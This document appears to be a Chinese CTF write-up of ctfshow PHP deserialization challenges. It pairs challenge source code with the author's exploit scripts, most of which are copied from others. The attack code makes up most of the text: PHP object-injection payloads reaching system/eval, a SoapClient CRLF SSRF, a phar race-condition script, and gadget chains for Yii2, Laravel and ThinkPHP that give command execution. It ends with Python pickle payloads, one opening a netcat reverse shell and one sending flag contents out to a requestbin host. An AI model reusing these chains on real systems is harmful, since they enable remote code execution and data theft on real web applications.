payload(有效攻击负载)是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码
shellcode(可提权代码) 对于一个漏洞来说,ShellCode就是一个用于某个漏洞的二进制代码框架,有了这个框架你可以在这个ShellCode中包含你需要的Payload来做一些事情
exp (Exploit )漏洞利用,一般是个demo程序
poc(Proof of Concept)漏洞证明,一般就是个样本 用来证明和复现
vul:(Vulnerability) :漏洞
Pwn:是一个黑客语法的俚语词 ,是指攻破设备或者系统
1. __sleep() //在对象被序列化之前运行
2. __wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过)
3. __construct() //当对象被创建时,会触发进行初始化
4. __destruct() //对象被销毁时触发
5. __toString(): //当一个对象被当作字符串使用时触发
6. __call() //在对象上下文中调用不可访问的方法时触发
7. __callStatic() //在静态上下文中调用不可访问的方法时触发
8. __get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据
9. __set() //用于将数据写入不可访问的属性
10. __isset() //在不可访问的属性上调用isset()或empty()触发
11. __unset() //在不可访问的属性上使用unset()时触发
12. __toString() //把类当作字符串使用时触发
13. __invoke() //当脚本尝试将对象调用为函数时触发
序列化对象:
private变量会被序列化为:\x00类名\x00变量名
protected变量会被序列化为: \x00*\x00变量名
public变量会被序列化为:变量名
先摘抄一波知识点!
然后再来进行介绍一波知识!
数据(变量)序列化(持久化)
将一个变量的数据“转换为”字符串,但并不是类型转换,目的是将该字符串储存在本地。相反的行为称为反序列化。
序列化和反序列化的目的:使得程序间传输对象会更加方便
serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。
多做题,做着做着就理解了!
这道题就不解释php了,太简单了!
?username=xxxxxx&password=xxxxxx
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;#判断
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;#全局变量
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];#从这里开始看!
$password=$_GET['password'];
#接受两个get变量
if(isset($username) && isset($password)){
#判断
$user = unserialize($_COOKIE['user']);#接受个cookie变量
if($user->login($username,$password)){
#传到本地(即上面)
if($user->checkVip()){
#(一个函数)
$user->vipOneKeyGetFlag();#(一个类)
}
}else{
echo "no vip,no flag";
}
}
可以明显看到username='xxxxxx’和password=‘xxxxxx’,唯一特殊的地方就是cookie这里了!
用在线工具进行的脚本编译!
flag就有了!
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
就只有这里改了代码,其它与上一题一样!
class ctfShowUser{
public $username='xxxxxx';
public $password='xxx';
public $isVip=true;}
$a = serialize(new ctfShowUser());
echo urlencode($a);
?>
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();#new了个info类,无用
}
public function login($u,$p){
#这里进行接受
return $this->username===$u&&$this->password===$p;#这里进行判断
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);#这里执行代码
}
}
$username=$_GET['username'];#从这里开始看
$password=$_GET['password'];
#俩个get变量
if(isset($username) && isset($password)){
#判断
$user = unserialize($_COOKIE['user']);#unserialize是对单一的已序列化的变量进行操作,将其转换回 PHP 的值。
$user->login($username,$password);#本地,即传到上面了!
}
__construct当对象被创建的时候自动调用,对对象进行初始化。当所有的操作执行完毕之后,需要释放序列化的对象,触发__destruct()魔术方法
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code="system('cat f*');";
public function getInfo(){
eval($this->code);
}
}
$a = serialize(new ctfShowUser());
echo urlencode($a);
?>
这里将backDoor类的code改成我们想要执行的的代码!
简单脚本如下
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("tac flag.php");';
}
echo urlencode(serialize(new ctfShowUser));
?>
相对简化了好多!
对了,这里是不能用cat这个的!
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
开始构造代码!
class ctfShowUser{
public $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));
这里还是比较难的!看着大师傅的wp做做!
CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
利用php原生类SoapClient,构造如下!
public SoapClient :: SoapClient (mixed $wsdl [, array $options])
WSDL(网络服务描述语言,Web Services Description Language)是一门基于 XML 的语言,用于描述 Web Services 以及如何对它们进行访问。
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
这里的意思是说这要我们传入的get包含ctfshow_i_love_36D就可以了!
?ctfshow=s:18:"ctfshow_i_love_36D";
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
直接就可以弄了!
class message{
public $from=1;
public $msg=1;
public $to=1;
public $token='admin';
}
$a = new message();
$b = serialize($a);
$c = base64_encode($b);
echo $c;
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = 1;
$m = 1;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg ;
echo "\n";
echo base64_encode($umsg);
这里是dirsearch脚本,下面是使用方法!
python3 dirsearch.py -u "网站域名" -e * -t 20 -x 301,403,404,500,501
#对目标所有文件进行扫描,扫描线程数为20,返回结果过滤301,403,404,500,501状态码
-h 查看帮助
-u URL 设置url
-L 设置url列表
-e 网站脚本类型,后跟php,asp,aspx等已知类型,不清楚写*
-s 时间,设置请求之间的延时
-r 递归地扫描
-t 线程数,设置扫描线程
-x 要排除状态码,返回结果时排除显示哪些状态码
-w 设置字典
-H 设置请求头
-c COOKIE,设置COOKIE
当然御剑扫描也是可以的!
发现三个文件index.php和flag.php和check.php还有www.rar和www.zip。说明源码泄露了!
check.php代码如下
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
flag.php代码如下!
$flag="flag_here";
index.php代码如下!
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
查看inc.php,其中ini_set(‘session.serialize_handler’, ‘php’);表明使用的是php引擎,5.5.4前默认是php;5.5.4后改为php_serialize!
php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
php: 键名+竖线(|)+经过serialize()函数处理过的值
php_serialize: 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
file_put_contents() 函数把一个字符串写入文件中。
class User{
public $ussername;
public $password;
public $status='a';
}
$a = new User();
$a->username='b.php';
$a->password='';
echo base64_encode('|'.serialize($a));
其实这里也是可以写入一句话木马,然后蚁剑链接!
再来张蚁剑图片!
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
这里与web262相似,这里构造payload
f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22;s:5:%22token%22;s:5:%22admin%22;}
然后cookie msg=1 ,访问message.php就行了!
然后去访问它!
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
这里要用到类似C语言里面的指针!
$a='123';
$b=&$a;
$b=1;
echo $a;
这时a的值便是1,其实这里$B与$a都时一个变量,只不过有许多名字!
构造payload
class ctfShowAdmin{
public $token;
public $password;
public function __construct(){
$this->token='a';
$this->password=&$this->token;
}
}
$a = new ctfShowAdmin;
$b = serialize($a);
echo $b;
/?ctfshow=O:12:"ctfShowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
当我们序列化的字符串里面如果有ctfshow就会抛出一个异常,这样就没法触发__destrurt魔术方法了,所以得绕过这个正则.且__destruct()在结束时自动启用!
class ctfshow{
}
echo serialize(new ctfshow());
网页是个CTFshow社区,瞎点点,然后我一眼就看到了login登录界面!然后使用admin和admin进行登录!并在about页面的源代码里面发现注释?view-source这个提示!访问url+?r=site/about&view-source得到个反序列化点!
Yii是一套基于组件、用于开发大型Web应用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。
访问/index.php?r=backdoor/shell&code=poc即可执行命令
抄个脚本!
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
/index.php?r=backdoor/shell&code=
后面加上我们脚本生成的字符!
下面这个是又补充了一个脚本!
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /flag';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
这里整理一下poc链!
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
POC2
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
POC3
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
POC4
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('system', 'whoami');
echo(base64_encode(serialize($exp)));
}
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
use Mockery\Generator\MockDefinition;
class QueuedCommand
{
public $connection;
public function __construct(){
$this->connection=new MockDefinition();
}
}
}
namespace Illuminate\Bus{
use Mockery\Loader\EvalLoader;
class Dispatcher
{
protected $queueResolver;
public function __construct(){
$this->queueResolver=[new EvalLoader(),'load'];
}
}
}
namespace Mockery\Loader{
class EvalLoader
{
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct()
{
$this->code=""; //此处是PHP代码
$this->config=new MockConfiguration();
}
}
class MockConfiguration
{
protected $name="feng";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test, $app, $command, $parameters)
{
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}
namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation {
class Application
{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami'));
echo urlencode(serialize($pendingcommand));
}
补充一个脚本!
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection="ls /"; //此处参数
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver="system"; //此处函数
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'harker'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
__destruct当对象被销毁时调用,所以我们不需要用到反序列化函数。那么只要$this->evilfile是true就可以了执行系统命令。
?fn=;cat f*
data:flag=123
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
这里增加了判断$this->admin,所以我们需要进行反序列化来修改admin的值!,所以可以通过file_put_contents写入php函数,然后通过其进行触发phar反序列化,因此需要进行条件竞争!
import requests
import threading
import base64
url = 'http://349162dd-6c8d-4c80-96c2-59fee334418d.challenge.ctf.show:8080/'
f = open('./phar.phar', 'rb')
data = f.read()
flag = False
def work1():
requests.post(url+"?fn=a", data=data)
def work2():
global flag
r = requests.post(url+"?fn=phar://phar.phar/", data="")
if "flag{" in r.text and flag is False:
print(base64.b64encode(r.text.encode()))
flag = True
while flag is False:
a = threading.Thread(target=work1)
b = threading.Thread(target=work2)
a.start()
b.start()
而cahr里面是
class filter{
public $filename = "1|cat f*";
public $filecontent;
public $evilfile = true;
public $admin = true;
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("");
$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
抄了抄大师傅的脚本!
payload
import pickle
import base64
class A(object):
def __redure__(self):
return(eval,('__import__("os").popen("nc xxx.xxx.xxx.xxx 4567 -e /bin/sh").read()',))
a = A()
test = pickle.dumps(a)
print(base64.b64encode(test))
又找了个脚本!自己也不懂,不过先找为敬。
import os
import pickle
import base64
class RunCmd(object):
def __reduce__(self):
return (os.system,('wget http://requestbin.net/r/duwbu270?a=`cat fla*`',))
print(base64.b64encode(pickle.dump(RunCmd())))